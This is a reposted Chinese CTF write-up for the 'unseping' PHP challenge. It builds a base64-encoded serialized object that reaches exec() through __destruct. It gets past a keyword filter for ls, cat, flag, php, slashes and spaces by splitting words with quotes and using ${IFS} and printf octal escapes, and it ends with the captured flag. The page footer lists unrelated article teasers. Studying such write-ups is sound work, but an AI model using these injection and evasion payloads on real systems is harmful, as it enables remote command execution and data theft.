CTF之unseping

?拿到題目看不懂?這是難度1?含淚去看大佬的wp,寫下我的自傳! ? ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

?1.首先看題目可以知道是用POST傳入參數從而達到系統查找,外邊這個參數還進行了base64解碼和反序列化編碼,這又給我們上了一波難度。不過這算是簡單的,我們先看函數。

2.__wakeup()是對waf($str)函數進行調用和執行的,而waf($str)函數是對\||&|;|?|\/|cat|flag|tac|php|ls進行黑名單過濾的,那就要繞過嘍。

3.ping($ip)函數是將輸入參數作為外部命令進行執行,并返回輸出結果。該函數實現了作為一個webshell的基本條件。

4.?__destruct()函數是檢測ping是否在$method中,并調用了名為$method的方法,且以數組$arg中的值作為參數

5.綜合來看就是在通過$method和__construct來調用構造的ping方法,接著通過$args來作為輸入口進行命令的輸入

接下來開整:

跟據已有的代碼我們進行逆向調用,構造如下:

使用""進行ls過濾的繞過。

$a = new ease("ping",array('l""s'));//調用類傳入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64編碼

?完整代碼如下:

 <?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$a = new ease("ping",array('l""s'));//調用類傳入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64編碼?>

?然后進行php編譯,編譯結果如下:

序列化:O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

base64編碼:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

?再用hackbar插件進行post傳參:

得到flag_1s_here目錄和index.php文件

這次我們需要構造查看flag_1s_here目錄,空格我們就用${IFS}來繞過,注意這里的目錄名稱中的flag也要繞過一下:

$a=new ease("ping",array('l""s""${IFS}f""lag_1s_here'));
$b = serialize($o);
echo base64_encode($b);

?得到編碼后的:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNjoibCIicyIiJHtJRlN9ZiIibGFnXzFzX2hlcmUiO319

傳參后發現該目錄下有一個flag_831b69012c67b35f.php文件

那我們就接著構造:這里涉及到了符號 / ,我們用printf和$()來繞過,注意這里php也要繞過

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo base64_encode($b);

?得到編碼后的:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

傳參后就得到了flag:cyberpeace{c8b062d2749e0bba95e3a8e9a216a6ed}

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/40450.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/40450.shtml
英文地址,請注明出處:http://en.pswp.cn/web/40450.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

云倉酒莊天津分公司:深化業務常態化運營

標題&#xff1a;云倉酒莊天津分公司&#xff1a;深化業務常態化運營&#xff0c;以沙龍為紐帶&#xff0c;構建價值疊加的酒業新生態 在當今復雜多變的經濟環境中&#xff0c;傳統酒業面臨著前所未有的挑戰與機遇。隨著數字化轉型的加速和消費者偏好的日益多元化&#xff0c;…

一鍵直達:2024最新Win10系統安裝包!快來下載!

對于想體驗Win10系統最新功能的用戶來說&#xff0c;尋找可靠的最新系統安裝包是特別重要的。接下來系統之家小編就給大家帶來2024年最新Win10系統安裝包&#xff0c;有需要的小伙伴一鍵點擊就能開始下載。該系統安裝步驟簡單易懂&#xff0c;無需擔心任何裝機經驗。 推薦下載&…

react_web自定義組件_多類型Modal_搜索欄Search

目錄 一、帶輸入框的Modal 二、提示框Modal 三、搜索欄Search 在做項目時引入一些現成的UI組件&#xff0c;但是如果和設計圖沖突太大&#xff0c;更改時很麻煩&#xff0c;如果自己寫一個通用組件其實也就幾十分鐘或者幾個小時&#xff0c;而且更具UI設計更改也比較好更改&…

【Linux進程】進程優先級 Linux 2.6內核進程的調度

前言 進程是資源分配的基本單位, 在OS中存在這很多的進程, 那么就必然存在著資源競爭的問題, 操作系統是如何進行資源分配的? 對于多個進程同時運行, 操作系統又是如何調度達到并發呢? 本文將以Linux kernel 2.6為例 , 向大家介紹進程在操作系統中 (OS) 的調度原理; 1. 進程優…

【網絡安全】第7講 計算機病毒概述(筆記)

一、計算機病毒的簡介 1、名稱的由來 由生物醫學上的 “病毒” 一詞借用而來。 &#xff08;1&#xff09;與生物醫學上“病毒”的異同 同&#xff1a;都具有傳染性、流行性、針對性等。異&#xff1a;不是天生的&#xff0c;而是人為編制的具有特殊功能的程序。 2、病毒的起…

免費代理 IP 如何泄露您的個人信息?

互聯網時代&#xff0c;信息安全和隱私保護成為人們關注的焦點。很多用戶出于各種需要&#xff0c;使用代理服務器瀏覽網頁或進行其他網絡活動&#xff0c;其中免費代理IP因其免費的特點而受到廣泛青睞。然而&#xff0c;免費代理IP并不總是一個安全可靠的選擇&#xff0c;它們…

process.env 管理 Vue 項目的環境變量(Vue項目中環境變量的配置及調用)

簡述&#xff1a;在構建 Vue 應用時&#xff0c;管理配置是開發中的一個重要部分。不同的環境&#xff08;如開發、測試和生產&#xff09;往往需要不同的配置&#xff0c;例如 API、 基礎 URL、第三方服務的密鑰等。使用環境變量可以幫助我們更好地管理這些配置。這里將介紹如…

每天10個js面試題(二)

1.事件輪詢&#xff1f; JavaScript 是單線程的&#xff0c;同一時間只能做一件事。所有任務都需要排隊&#xff0c;前一個任務結束&#xff0c;才會執行后一個任務&#xff0c;為了保證任務有序的執行&#xff0c;事件輪詢就是單線程任務調度的一種方式&#xff0c;單線程任務…

1014-01SF 同軸連接器

型號簡介 1014-01SF是Southwest Microwave的一款2.92 mm 同軸連接器。這款連接器外殼采用鋼CRES 合金 UNS S30300&#xff0c;觸點采用鈹銅 (BeCu)&#xff0c;UNS C17300&#xff0c;并經過金鍍處理&#xff0c;以確保良好的導電性和耐腐蝕性。適用于高頻微波應用&#xff0c;…

如何設計通用用戶、權限、菜單數據表

在設計一個通用的用戶、權限和菜單管理系統時&#xff0c;我們通常需要創建幾個核心的數據庫表來管理用戶信息、角色信息、權限信息以及菜單信息。下面是一個基于SQL的示例&#xff0c;展示了如何建立這些基礎表格。 數據庫表設計 1. 用戶表 (users) Sql 1CREATE TABLE user…

從 0 到 1 安裝運行 Qwen2

環境信息&#xff1a; PyTorch 2.0.0 Python 3.8(ubuntu20.04) Cuda 11.8 RTX 3090(24GB) * 1 模型 /home/zhangwei/llm 源碼 /usr/local/project/conda/Qwen/Qwen mkdir -p /usr/local/project/conda/Qwen #【用來存放Qwen2源碼】 mkdir -p /home/zhangwei/llm #【用來存放Q…

機器人典型的交互任務、阻抗控制的示意圖、內涵、意義、存在的交互控制科學問題

機器人典型的交互任務 機器人在實際應用中經常需要完成與環境的交互任務&#xff0c;這些任務包括但不限于&#xff1a; 裝配任務&#xff1a;在制造業中&#xff0c;機器人需要準確地操控和組裝各種零部件&#xff0c;包括不同形狀、大小和材質的物體。搬運任務&#xff1a;…

科普文:一文搞懂nginx原理和實戰

1. Nginx簡介與核心架構 1.1 Nginx簡介 Nginx (engine x) 是一個高性能的 HTTP 和反向代理服務器&#xff0c;也是一個 IMAP/POP3/SMTP 郵件代理服務器。 由 Igor Sysoev 于2004年首次發布&#xff0c;其設計目標是解決 C10K 問題&#xff0c;即在一臺服務器上同時處理一萬個并…

The Sandbox 人物化身每月獎勵: 七月版來了!

人物化身的持有者可以從 The Sandbox 領取自己的隊服&#xff01; 視頻&#xff1a;https://youtu.be/tSo5FPL7DhE 我們又推出了人物化身所有者月度獎勵&#xff01;在七月&#xff0c;我們將通過 The Sandbox 隊服來弘揚體育競技精神。穿上這些時尚的元宇宙隊服&#xff0c;代…

Java:HashMap底層原理

一、前言 在Java 7及之前的版本中&#xff0c;HashMap的底層數據結構主要是數組加鏈表&#xff0c;在Java 8中&#xff0c;HashMap的底層數據結構是數組鏈表紅黑樹的組合。 二、底層數據結構 1. 數組 初始化和擴容&#xff1a;HashMap首先會初始化一個指定長度的數組&#xf…

單機多網卡互通——問題跟蹤+工具分析

一、背景 想搭建soft ROCE(RXE)與實體ROCE設備互聯的測試環境&#xff0c;為了節省機器以及使用方便&#xff0c;預想在配備ROCE卡的主機上&#xff0c;用另一個網卡綁定soft ROCE&#xff0c;然后互通。 [ETH1 ROCE] <--------------------> [ETH2 RXE] 二、問題跟…

Appium元素定位(全網詳細講解)(二)

1.appium inspector&#xff08;定位元素的工具&#xff09;使用方法 詳細介紹&#xff1a; 詳細解釋&#xff1a; 圖標名稱說明1Show Element Handles是否顯示元素句柄2Select Elements選擇元素定位3Tap/Swipe By Coordinates按坐標點擊/滑動4Download Screenshot下載屏幕截…

2024機器遺忘(Machine Unlearning)技術分類-思維導圖

1 介紹 機器遺忘&#xff08;Machine Unlearning&#xff09;是指從機器學習模型中安全地移除或"遺忘"特定的數據點或信息。這個概念源于數據隱私保護的需求&#xff0c;尤其是在歐盟通用數據保護條例&#xff08;GDPR&#xff09;等法規中提出的"被遺忘的權利…

【漏洞復現】飛企互聯-FE企業運營管理平臺——SQL注入

聲明&#xff1a;本文檔或演示材料僅供教育和教學目的使用&#xff0c;任何個人或組織使用本文檔中的信息進行非法活動&#xff0c;均與本文檔的作者或發布者無關。 文章目錄 漏洞描述漏洞復現測試工具 漏洞描述 飛企互聯-FE企業運營管理平臺是一個基于云計算、智能化、大數據…

【8】相關補充

【8】相關補充 文章目錄 前言一、不同模型在測試集上的精度二、實驗記錄三、SNP位點篩選及其它python腳本四、總結五、后續安排總結 前言 存放一些有關這個項目研究的補充。 三葉青圖像識別研究簡概 一、不同模型在測試集上的精度 存放了不同識別模型在測試集上精度評估展示…